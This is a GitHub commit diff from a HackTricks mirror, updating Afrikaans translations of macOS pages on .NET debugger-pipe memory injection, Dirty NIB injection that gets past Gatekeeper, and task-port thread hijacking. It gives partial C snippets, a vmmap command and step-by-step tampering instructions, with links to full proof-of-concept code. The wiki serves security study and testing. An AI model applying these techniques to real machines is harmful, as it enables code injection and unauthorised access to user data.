mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
c6516104ef
commit
534f75b696
82 changed files with 3110 additions and 3903 deletions
|
@ -1,30 +1,31 @@
|
|||
# macOS .Net Toepassingsinspuiting
|
||||
# macOS .Net Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Hierdie is 'n opsomming van die berig [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Kyk daarvoor vir verdere besonderhede!**
|
||||
**Dit is 'n opsomming van die pos [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Kyk daarna vir verdere besonderhede!**
|
||||
|
||||
## .NET Core-afstelwerk <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **Vestiging van 'n afstel-sessie** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
### **Die Vestiging van 'n Debugging Sessie** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
Die hantering van kommunikasie tussen die afsteler en die afstelobjek in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee genoemde pype per .NET-proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geïnisieer word via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype word gesuffix met **`-in`** en **`-out`**.
|
||||
Die hantering van kommunikasie tussen die debugger en debuggee in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee benoemde pype per .NET proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geinitieer word via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype is gesuffikseerd met **`-in`** en **`-out`**.
|
||||
|
||||
Deur die gebruiker se **`$TMPDIR`** te besoek, kan daar afstelpype gevind word wat beskikbaar is vir die afstel van .Net-toepassings.
|
||||
Deur die gebruiker se **`$TMPDIR`** te besoek, kan 'n mens debugging FIFOs vind wat beskikbaar is vir debugging .Net toepassings.
|
||||
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) is verantwoordelik vir die bestuur van kommunikasie vanaf 'n afsteler. Om 'n nuwe afstel-sessie te begin, moet 'n afsteler 'n boodskap stuur via die `out`-pyp wat begin met 'n `MessageHeader`-struktuur, wat in die .NET-bronkode in detail beskryf word:
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) is verantwoordelik vir die bestuur van kommunikasie van 'n debugger. Om 'n nuwe debugging sessie te begin, moet 'n debugger 'n boodskap via die `out` pyp stuur wat begin met 'n `MessageHeader` struktuur, soos in die .NET bronskode uiteengesit:
|
||||
```c
|
||||
struct MessageHeader {
|
||||
MessageType m_eType; // Message type
|
||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg gevul, deur die boodskap tipe te stel as `MT_SessionRequest` en die protokol weergawe as die huidige weergawe:
|
||||
Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg ingevul, wat die boodskap tipe op `MT_SessionRequest` stel en die protokol weergawe op die huidige weergawe:
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
|||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
Hierdie kop is dan oorgestuur na die teiken deur die `write` syscall, gevolg deur die `sessionRequestData` struktuur wat 'n GUID vir die sessie bevat:
|
||||
Hierdie kop is dan na die teiken gestuur met die `write` syscall, gevolg deur die `sessionRequestData` struktuur wat 'n GUID vir die sessie bevat:
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||
```
|
||||
'n Leesoperasie op die `out` pyp bevestig die sukses of mislukking van die opsporingsessie vestiging:
|
||||
'n Leesoperasie op die `out`-pyp bevestig die sukses of mislukking van die debugging-sessie se vestiging:
|
||||
```c
|
||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
## Lees van Geheue
|
||||
Sodra 'n foutopsporingsessie tot stand gebring is, kan geheue gelees word deur die [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) boodskapstipe te gebruik. Die funksie readMemory word in detail beskryf en voer die nodige stappe uit om 'n leesversoek te stuur en die antwoord te ontvang:
|
||||
## Geheue Lees
|
||||
Sodra 'n foutopsporing sessie gevestig is, kan geheue gelees word met behulp van die [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) boodskap tipe. Die funksie readMemory is gedetailleerd, en voer die nodige stappe uit om 'n leesversoek te stuur en die antwoord te verkry:
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
// Allocation and initialization
|
||||
|
@ -79,9 +80,9 @@ return true;
|
|||
```
|
||||
Die volledige bewys van konsep (POC) is beskikbaar [hier](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||
|
||||
## Skryf van Geheue
|
||||
## Skryf Geheue
|
||||
|
||||
Op dieselfde manier kan geheue geskryf word met behulp van die `writeMemory`-funksie. Die proses behels die instelling van die boodskap tipe na `MT_WriteMemory`, die spesifisering van die adres en lengte van die data, en dan die stuur van die data:
|
||||
Op soortgelyke wyse kan geheue geskryf word met die `writeMemory` funksie. Die proses behels om die boodskap tipe op `MT_WriteMemory` te stel, die adres en lengte van die data te spesifiseer, en dan die data te stuur:
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
// Increment IDs, set message type, and specify memory location
|
||||
|
@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
Die betrokke POC is beskikbaar [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||
Die geassosieerde POC is beskikbaar [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||
|
||||
## .NET Core Kode-uitvoering <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## .NET Core Kode Uitvoering <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
Om kode uit te voer, moet 'n geheuegebied met rwx-permissies geïdentifiseer word, wat gedoen kan word deur gebruik te maak van vmmap -pages:
|
||||
Om kode uit te voer, moet 'n geheuegebied met rwx-toestemmings geïdentifiseer word, wat gedoen kan word met vmmap -pages:
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Die opsporing van 'n plek om 'n funksie-aanwyservariabele te oorskryf, is noodsaaklik, en in .NET Core kan dit gedoen word deur die **Dinamiese Funksie Tabel (DFT)** te teiken. Hierdie tabel, wat in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) beskryf word, word deur die uitvoeringstyd gebruik vir JIT-samestellingshulpfunksies.
|
||||
Locating a place to overwrite a function pointer is necessary, and in .NET Core, this can be done by targeting the **Dynamic Function Table (DFT)**. This table, detailed in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), is used by the runtime for JIT compilation helper functions.
|
||||
|
||||
Vir x64-stelsels kan handtekeningsoektog gebruik word om 'n verwysing na die simbool `_hlpDynamicFuncTable` in `libcorclr.dll` te vind.
|
||||
Vir x64 stelsels kan handtekening jag gebruik word om 'n verwysing na die simbool `_hlpDynamicFuncTable` in `libcorclr.dll` te vind.
|
||||
|
||||
Die `MT_GetDCB`-ontlederfunksie verskaf nuttige inligting, insluitend die adres van 'n hulpfunksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die adres van die skulpkode te oorskryf.
|
||||
Die `MT_GetDCB` debuggingsfunksie bied nuttige inligting, insluitend die adres van 'n helper funksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die shellcode se adres te oorskryf.
|
||||
|
||||
Die volledige POC-kode vir inspuiting in PowerShell is beskikbaar [hier](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||
The full POC code for injection into PowerShell is accessible [here](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,72 @@
|
|||
# macOS Vuil NIB
|
||||
# macOS Dirty NIB
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Vir verdere besonderhede oor die tegniek, kyk na die oorspronklike pos van: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Hier is 'n opsomming:
|
||||
|
||||
NIB-lêers, deel van Apple se ontwikkelingsekosisteem, is bedoel vir die definisie van **UI-elemente** en hul interaksies in programme. Dit sluit geserializeerde voorwerpe soos vensters en knoppies in, en word tydens uitvoering gelaai. Ten spyte van hul voortdurende gebruik, bevorder Apple nou Storyboards vir 'n meer omvattende UI-vloei-visualisering.
|
||||
NIB-lêers, deel van Apple se ontwikkelings-ekosisteem, is bedoel om **UI-elemente** en hul interaksies in toepassings te definieer. Hulle sluit geserialiseerde voorwerpe soos vensters en knoppies in, en word tydens uitvoering gelaai. Ten spyte van hul voortdurende gebruik, beveel Apple nou Storyboards aan vir 'n meer omvattende visualisering van UI-stroom.
|
||||
|
||||
### Sekuriteitskwessies met NIB-lêers
|
||||
Dit is krities om te let dat **NIB-lêers 'n sekuriteitsrisiko kan wees**. Hulle het die potensiaal om **arbitrêre opdragte uit te voer**, en veranderinge aan NIB-lêers binne 'n toepassing verhoed nie dat Gatekeeper die toepassing uitvoer nie, wat 'n beduidende bedreiging vorm.
|
||||
Dit is belangrik om op te let dat **NIB-lêers 'n sekuriteitsrisiko kan wees**. Hulle het die potensiaal om **arbitraire opdragte uit te voer**, en veranderinge aan NIB-lêers binne 'n app hinder nie Gatekeeper om die app uit te voer nie, wat 'n beduidende bedreiging inhou.
|
||||
|
||||
### Vuil NIB-inspuitingsproses
|
||||
#### Skep en Opstel van 'n NIB-lêer
|
||||
1. **Aanvanklike opstel**:
|
||||
- Skep 'n nuwe NIB-lêer met behulp van XCode.
|
||||
- Voeg 'n voorwerp by die koppelvlak, stel sy klas in as `NSAppleScript`.
|
||||
- Stel die aanvanklike `bron`-eienskap op via Gebruikersgedefinieerde Runtime-attribuut.
|
||||
### Dirty NIB Inspuitingsproses
|
||||
#### Skep en Stel 'n NIB-lêer op
|
||||
1. **Beginopstelling**:
|
||||
- Skep 'n nuwe NIB-lêer met XCode.
|
||||
- Voeg 'n objek by die koppelvlak, stel sy klas op `NSAppleScript`.
|
||||
- Konfigureer die aanvanklike `source` eienskap via Gebruiker Gedefinieerde Runtime Attribuut.
|
||||
|
||||
2. **Kode-uitvoeringsgadget**:
|
||||
- Die opstel fasiliteer die uitvoering van AppleScript op aanvraag.
|
||||
- Integreer 'n knoppie om die `Apple Script`-voorwerp te aktiveer, wat spesifiek die `executeAndReturnError:`-selekteerder aktiveer.
|
||||
2. **Kode-uitvoeringsgadgets**:
|
||||
- Die opstelling fasiliteer die uitvoering van AppleScript op aanvraag.
|
||||
- Integreer 'n knoppie om die `Apple Script` objek te aktiveer, spesifiek die `executeAndReturnError:` selektor te aktiveer.
|
||||
|
||||
3. **Toetsing**:
|
||||
- 'n Eenvoudige Apple Script vir toetsdoeleindes:
|
||||
```bash
|
||||
stel dieDialogText in op "PWND"
|
||||
vertoon dialoogvenster dieDialogText
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
- Toets deur dit in die XCode-afskermingsprogram te hardloop en op die knoppie te klik.
|
||||
- Toets deur in die XCode-debugger te loop en op die knoppie te klik.
|
||||
|
||||
#### Teiken van 'n Toepassing (Voorbeeld: Pages)
|
||||
#### Teiken 'n Toepassing (Voorbeeld: Pages)
|
||||
1. **Voorbereiding**:
|
||||
- Kopieer die teiken-toepassing (bv. Pages) na 'n afsonderlike gids (bv. `/tmp/`).
|
||||
- Begin die toepassing om Gatekeeper-kwessies te omseil en dit in die kas te stoor.
|
||||
- Kopieer die teiken-app (bv. Pages) na 'n aparte gids (bv. `/tmp/`).
|
||||
- Begin die app om Gatekeeper-probleme te omseil en dit te kas.
|
||||
|
||||
2. **Oorskryf van NIB-lêer**:
|
||||
2. **Oorskrywing van NIB-lêer**:
|
||||
- Vervang 'n bestaande NIB-lêer (bv. About Panel NIB) met die vervaardigde DirtyNIB-lêer.
|
||||
|
||||
3. **Uitvoering**:
|
||||
- Stel die uitvoering in werking deur met die toepassing te interaksieer (bv. die `About`-keuse-item te kies).
|
||||
- Activeer die uitvoering deur met die app te interaksie (bv. die `About` menu-item te kies).
|
||||
|
||||
#### Bewys van Konsep: Toegang tot Gebruikersdata
|
||||
- Wysig die AppleScript om toegang tot en onttrekking van gebruikersdata, soos foto's, sonder gebruikersgoedkeuring, te verkry.
|
||||
- Wysig die AppleScript om toegang te verkry tot en gebruikersdata, soos foto's, sonder gebruikers toestemming te onttrek.
|
||||
|
||||
### Kodevoorbeeld: Skadelike .xib-lêer
|
||||
- Kry toegang tot en hersien 'n [**voorbeeld van 'n skadelike .xib-lêer**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) wat die uitvoering van arbitrêre kode demonstreer.
|
||||
### Kode Voorbeeld: Kwaadwillige .xib-lêer
|
||||
- Toegang tot en hersien 'n [**voorbeeld van 'n kwaadwillige .xib-lêer**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) wat die uitvoering van arbitraire kode demonstreer.
|
||||
|
||||
### Aanspreek van Lanceringbeperkings
|
||||
- Lanceringbeperkings verhoed dat toepassings uit onverwagte plekke (bv. `/tmp`) uitgevoer word.
|
||||
- Dit is moontlik om toepassings te identifiseer wat nie deur Lanceringbeperkings beskerm word nie en hulle teiken vir NIB-lêer-inspuiting.
|
||||
### Aanspreek van Beginbeperkings
|
||||
- Beginbeperkings hinder app-uitvoering vanaf onverwagte plekke (bv. `/tmp`).
|
||||
- Dit is moontlik om apps te identifiseer wat nie deur Beginbeperkings beskerm word nie en hulle te teiken vir NIB-lêerinspuiting.
|
||||
|
||||
### Addisionele macOS-beskerming
|
||||
Vanaf macOS Sonoma en verder is wysigings binne App-bundels beperk. Vroeëre metodes het egter die volgende behels:
|
||||
1. Kopiëring van die toepassing na 'n ander plek (bv. `/tmp/`).
|
||||
2. Hersiening van gidsname binne die App-bundel om aanvanklike beskerming te omseil.
|
||||
3. Na die uitvoering van die toepassing om by Gatekeeper te registreer, wysiging van die App-bundel (bv. vervanging van MainMenu.nib met Dirty.nib).
|
||||
4. Terughernoeming van gidsname en heruitvoering van die toepassing om die geïnspireerde NIB-lêer uit te voer.
|
||||
### Addisionele macOS Beskermings
|
||||
Vanaf macOS Sonoma is wysigings binne App-pakkette beperk. egter, vroeëre metodes het ingesluit:
|
||||
1. Kopieer die app na 'n ander plek (bv. `/tmp/`).
|
||||
2. Hernoem gidse binne die app-pakket om aanvanklike beskermings te omseil.
|
||||
3. Na die uitvoering van die app om by Gatekeeper te registreer, wysig die app-pakket (bv. vervang MainMenu.nib met Dirty.nib).
|
||||
4. Hernoem gidse terug en herloop die app om die ingespuite NIB-lêer uit te voer.
|
||||
|
||||
**Let op**: Onlangse macOS-opdaterings het hierdie uitbuiting beperk deur lêerwysigings binne App-bundels na Gatekeeper-kasgeheue te verhoed, wat die uitbuiting ondoeltreffend maak.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
**Let wel**: Onlangs macOS-opdaterings het hierdie uitbuiting verminder deur lêerwysigings binne app-pakkette na Gatekeeper-kas te voorkom, wat die uitbuiting ondoeltreffend maak.
|
||||
|
|
|
@ -1,68 +1,69 @@
|
|||
# macOS Draadinspuiting via Taakpoort
|
||||
# macOS Thread Injection via Task port
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kode
|
||||
## Code
|
||||
|
||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||
|
||||
|
||||
## 1. Draadkaping
|
||||
## 1. Thread Hijacking
|
||||
|
||||
Aanvanklik word die **`task_threads()`**-funksie op die taakpoort aangeroep om 'n draadlys van die afgeleë taak te verkry. 'n Draad word gekies om te kap. Hierdie benadering wyk af van konvensionele kode-inspuitingsmetodes, aangesien die skep van 'n nuwe afgeleë draad verbied word as gevolg van die nuwe mitigasie wat `thread_create_running()` blokkeer.
|
||||
Aanvanklik word die **`task_threads()`** funksie op die taakport aangeroep om 'n draadlys van die afstandlike taak te verkry. 'n Draad word gekies vir kaap. Hierdie benadering verskil van konvensionele kode-inspuitingsmetodes aangesien die skep van 'n nuwe afstandlike draad verbied word weens die nuwe versperring wat `thread_create_running()` blokkeer.
|
||||
|
||||
